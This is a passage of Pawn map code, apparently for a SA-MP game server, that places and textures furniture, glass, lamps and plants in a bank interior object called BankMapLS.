SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1401.000000 , 1316.354858 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1399.949951 , 1316.352905 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.669312 , 1315.758423 , 1503.141602 , -60.000000 , 0.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1407.183716 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1408.550049 , 1316.370605 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1409.900024 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1411.300049 , 1316.370605 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1412.699951 , 1316.372559 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.748047 , 1316.314575 , 1503.141602 , -60.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.749268 , 1316.390869 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.747314 , 1317.750000 , 1503.645874 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.749268 , 1319.000000 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.134399 , 1315.784668 , 1503.141602 , -60.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.748535 , 1314.363037 , 1503.647949 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.748901 , 1313.043457 , 1503.645874 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.750854 , 1312.000000 , 1503.649902 , -90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19381 , 1407.787354 , 1320.181641 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19381 , 1403.500000 , 1320.179565 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19381 , 1407.787354 , 1312.681641 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19381 , 1402.287354 , 1312.679565 , 1508.835571 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19325 , 1397.839844 , 1321.964966 , 1502.025635 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 65535 , "none" , "none" , -2657);
BankMapLS = CreateDynamicObject(19325 , 1394.291748 , 1315.866455 , 1502.025635 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 65535 , "none" , "none" , -2657);
BankMapLS = CreateDynamicObject(19089 , 1397.843750 , 1318.634888 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.843750 , 1323.855957 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.597046 , 1315.865601 , 1504.288330 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.843506 , 1318.630127 , 1503.522095 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.843506 , 1318.630127 , 1500.098755 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.604614 , 1315.868042 , 1500.098755 , 90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.604614 , 1315.868042 , 1503.526855 , 90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19089 , 1397.938354 , 1315.870239 , 1504.154053 , 55.500000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
CreateDynamicObject(19325 , 1412.609741 , 1320.788818 , 1501.282593 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(19325 , 1412.606689 , 1310.532104 , 1501.282593 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(19325 , 1412.593384 , 1315.859741 , 1505.957275 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1500.869751 , 0.000000 , 90.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLS = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1501.205811 , 0.000000 , 90.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLS = CreateDynamicObject(968 , 1412.634155 , 1324.493408 , 1501.541748 , 0.000000 , 90.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLS = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1500.869751 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLS = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1501.205811 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
BankMapLS = CreateDynamicObject(968 , 1412.640015 , 1306.872437 , 1501.541748 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 19325 , "lsmall_shops" , "lsmall_window01" , -2657);
CreateDynamicObject(2166 , 1397.080811 , 1328.000000 , 1500.086548 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2166 , 1397.080811 , 1322.379272 , 1500.086548 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1714 , 1396.092896 , 1328.613159 , 1500.088623 , 0.000000 , 0.000000 , 24.959999);
CreateDynamicObject(1714 , 1396.092407 , 1322.871460 , 1500.088623 , 0.000000 , 0.000000 , 24.959999);
CreateDynamicObject(1714 , 1401.319092 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 25, 63, -1, 200.00);
CreateDynamicObject(1714 , 1403.205078 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 25, 63, -1, 200.00);
CreateDynamicObject(1714 , 1409.608276 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 25, 63, -1, 200.00);
CreateDynamicObject(1714 , 1407.730835 , 1322.608887 , 1500.088623 , 0.000000 , 0.000000 , -13.020000, 25, 63, -1, 200.00);
CreateDynamicObject(2164 , 1396.260986 , 1324.766724 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2161 , 1404.464844 , 1323.855103 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2163 , 1405.800049 , 1323.855103 , 1500.086426 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2186 , 1392.363159 , 1324.451416 , 1500.087036 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2164 , 1391.935181 , 1328.086548 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2163 , 1391.928711 , 1326.309448 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2162 , 1391.928711 , 1321.500000 , 1500.086426 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1808 , 1392.102051 , 1323.006836 , 1500.087280 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1721 , 1397.363892 , 1319.759155 , 1500.087280 , 0.000000 , 0.000000 , 15.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1721 , 1395.889526 , 1319.737549 , 1500.087280 , 0.000000 , 0.000000 , -15.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1721 , 1397.223877 , 1325.339233 , 1500.087280 , 0.000000 , 0.000000 , 15.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1721 , 1395.829468 , 1325.417480 , 1500.087280 , 0.000000 , 0.000000 , -15.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(19373 , 1396.934692 , 1324.876343 , 1500.188110 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -334660);
CreateDynamicObject(2194 , 1395.784546 , 1321.132202 , 1501.121704 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2194 , 1395.783447 , 1326.699219 , 1501.121704 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2194 , 1392.176758 , 1327.238525 , 1501.243042 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(2854 , 1405.648315 , 1320.771362 , 1500.921753 , 0.000000 , 0.000000 , 7.200000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(19373 , 1396.185181 , 1320.518799 , 1500.004761 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLS = CreateDynamicObject(19373 , 1396.185181 , 1324.015625 , 1500.006836 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLS = CreateDynamicObject(19373 , 1396.185181 , 1327.513672 , 1500.004761 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLS = CreateDynamicObject(19378 , 1405.148071 , 1325.693726 , 1500.005981 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12632257);
BankMapLS = CreateDynamicObject(2725 , 1404.534790 , 1320.827393 , 1500.486450 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLS , 2 , 1223 , "dynsigns" , "white64" , -9211021);
BankMapLS = CreateDynamicObject(2725 , 1405.699951 , 1320.827393 , 1500.486450 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -9211021);
SetDynamicObjectMaterial(BankMapLS , 2 , 1223 , "dynsigns" , "white64" , -9211021);
BankMapLS = CreateDynamicObject(2203 , 1405.071045 , 1320.588379 , 1500.243652 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(14834 , 1405.056152 , 1320.589111 , 1500.128906 , 0.000000 , 0.000000 , -45.540001);
SetDynamicObjectMaterial(BankMapLS , 2 , 1223 , "dynsigns" , "white64" , 7566195);
BankMapLS = CreateDynamicObject(630 , 1406.336060 , 1315.953979 , 1501.102295 , 0.000000 , 0.000000 , -42.900002);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(630 , 1404.504639 , 1316.001221 , 1501.102295 , 0.000000 , 0.000000 , -144.240005);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(631 , 1406.149780 , 1311.411743 , 1500.976074 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(631 , 1399.529663 , 1311.488525 , 1500.976074 , 0.000000 , 0.000000 , -11.520000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(630 , 1392.943848 , 1316.805176 , 1501.102295 , 0.000000 , 0.000000 , -267.539948);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1397.065674 , 1321.333740 , 1509.631226 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1396.467773 , 1510.357178 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1395.847656 , 1321.333740 , 1510.105225 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1396.435669 , 1321.333740 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1397.065674 , 1326.988403 , 1509.631226 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1396.435669 , 1326.988403 , 1510.357178 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(19089 , 1395.847656 , 1326.988403 , 1510.105225 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2114 , 1397.057129 , 1326.991943 , 1502.371460 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2114 , 1396.430054 , 1326.991943 , 1502.843506 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2114 , 1395.843994 , 1326.991943 , 1502.590576 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2114 , 1397.057129 , 1321.335205 , 1502.371460 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2114 , 1396.430054 , 1321.335205 , 1502.843506 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2114 , 1395.843994 , 1321.335205 , 1502.590576 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 2026 , "shadetmp" , "kb_lightshade" , -1);
BankMapLS = CreateDynamicObject(2268 , 1395.401367 , 1326.932007 , 1501.216919 , 0.000000 , 90.000000 , 330.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1395.878540 , 1327.094360 , 1500.795654 , 0.000000 , 0.000000 , 60.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1395.861450 , 1327.099243 , 1500.877441 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1395.759033 , 1327.197266 , 1501.183838 , 90.000000 , 0.000000 , 60.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1395.861450 , 1321.445190 , 1500.877441 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1395.759033 , 1321.543335 , 1501.183838 , 90.000000 , 0.000000 , 60.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1395.401367 , 1321.277954 , 1501.216919 , 0.000000 , 90.000000 , 330.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1395.878540 , 1321.440430 , 1500.795654 , 0.000000 , 0.000000 , 60.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1400.934204 , 1320.731689 , 1501.013428 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1400.908691 , 1320.738159 , 1501.130127 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
//BankMapLS = CreateDynamicObject(2752, 1400.74866, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1401.068726 , 1320.732056 , 1501.447144 , 0.000000 , 90.000000 , 180.000000, 25, 63, -1, 200.00);
//BankMapLS = CreateDynamicObject(2752, 1400.91565, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1401.283813 , 1321.146851 , 1501.489502 , 0.000000 , 90.000000 , 180.000000, 25, 63, -1, 200.00);
//CreateDynamicObject(2268, 1400.34375, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1402.544678 , 1321.134155 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
//BankMapLS = CreateDynamicObject(2752, 1402.54468, 1321.13416, 1500.81006,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1402.562256 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1402.703613 , 1321.172119 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 25, 63, -1, 200.00);
//BankMapLS = CreateDynamicObject(2752, 1409.03857, 1321.15808, 1501.12720,   0.00000, 90.00000, 165.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1402.131836 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 25, 63, -1, 200.00);
//BankMapLS = CreateDynamicObject(2268, 1408.46680, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1406.974243 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1406.948730 , 1321.158081 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1407.115601 , 1321.172119 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1406.543823 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2040 , 1408.897217 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1409.038574 , 1321.158081 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1408.466797 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2752 , 1408.875610 , 1321.140747 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLS = CreateDynamicObject(2268 , 1396.461426 , 1327.441284 , 1501.216919 , 0.000000 , 90.000000 , 150.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(2268 , 1396.461426 , 1321.787354 , 1501.216919 , 0.000000 , 90.000000 , 150.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(2268 , 1400.603760 , 1320.166748 , 1501.489502 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLS , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(2268 , 1403.025757 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -16777216);
